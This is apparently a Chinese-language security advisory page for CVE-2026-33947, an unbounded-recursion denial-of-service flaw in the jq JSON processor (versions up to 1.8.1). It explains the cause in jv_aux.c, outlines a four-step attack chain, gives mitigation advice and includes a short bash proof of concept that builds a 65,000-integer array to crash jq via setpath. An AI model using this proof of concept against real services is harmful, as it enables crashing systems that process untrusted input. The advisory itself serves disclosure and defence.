IPBUF安全漏洞报告
English
CVE-2026-33947 CVSS 6.2 中危

CVE-2026-33947 jq命令行处理器无界递归漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-33947
漏洞类型
拒绝服务
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
jq

相关标签

拒绝服务DoS栈溢出递归jqJSON处理

漏洞概述

jq是一款命令行JSON处理器。在1.8.1及以下版本中,src/jv_aux.c文件的特定函数存在无界递归漏洞。攻击者可通过提供包含大量整数的JSON数组作为路径参数,导致处理程序消耗C调用栈并触发段错误,从而造成拒绝服务攻击。该漏洞绕过了JSON解析器的深度限制,影响所有处理不可信JSON输入的应用。

技术细节

该漏洞的核心在于jq源码src/jv_aux.c中jv_setpath()、jv_getpath()及delpaths_sorted()函数在处理路径数组时使用了无界递归。虽然jq实施了MAX_PARSING_DEPTH(默认为10,000)来保护JSON解析器,但此限制并不适用于通过程序逻辑在运行时构造的数组。攻击者可以利用这一点,精心构造一个包含约65,000个整数的扁平JSON数组(大小约200KB)。当应用程序使用受信任的jq过滤器处理此恶意数据,并将其作为setpath、getpath或delpaths函数的参数时,递归深度将急剧增加,直接耗尽C语言的调用栈空间。这最终导致进程收到SIGSEGV信号而崩溃,实现拒绝服务攻击。

攻击链分析

STEP 1
步骤1:构造恶意数据
攻击者创建一个包含约65,000个整数的JSON数组文件。
STEP 2
步骤2:诱导处理
将恶意JSON数据发送给使用jq处理数据的目标应用程序或服务。
STEP 3
步骤3:触发递归
应用程序调用jq的setpath、getpath或delpaths函数,并将恶意数组作为路径参数传入。
STEP 4
步骤4:耗尽栈空间
jq因无界递归调用耗尽C调用栈,触发SIGSEGV信号导致进程崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # Generate a malicious JSON array with ~65,000 integers # This payload size is approx 200KB python3 -c "print(list(range(65000)))" > payload.json # Trigger the vulnerability using jq's setpath function # The large array causes unbounded recursion in jv_setpath() # leading to a Segmentation Fault (SIGSEGV) echo "Testing CVE-2026-33947..." jq -n --argfile p payload.json 'setpath($p; "value")' || echo "Process crashed as expected"

影响范围

jq <= 1.8.1

防御指南

临时缓解措施
建议用户尽快升级jq至最新版本。若无法立即升级,应在处理外部输入前预先验证路径数组的长度,防止超长数组传递给setpath、getpath等函数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表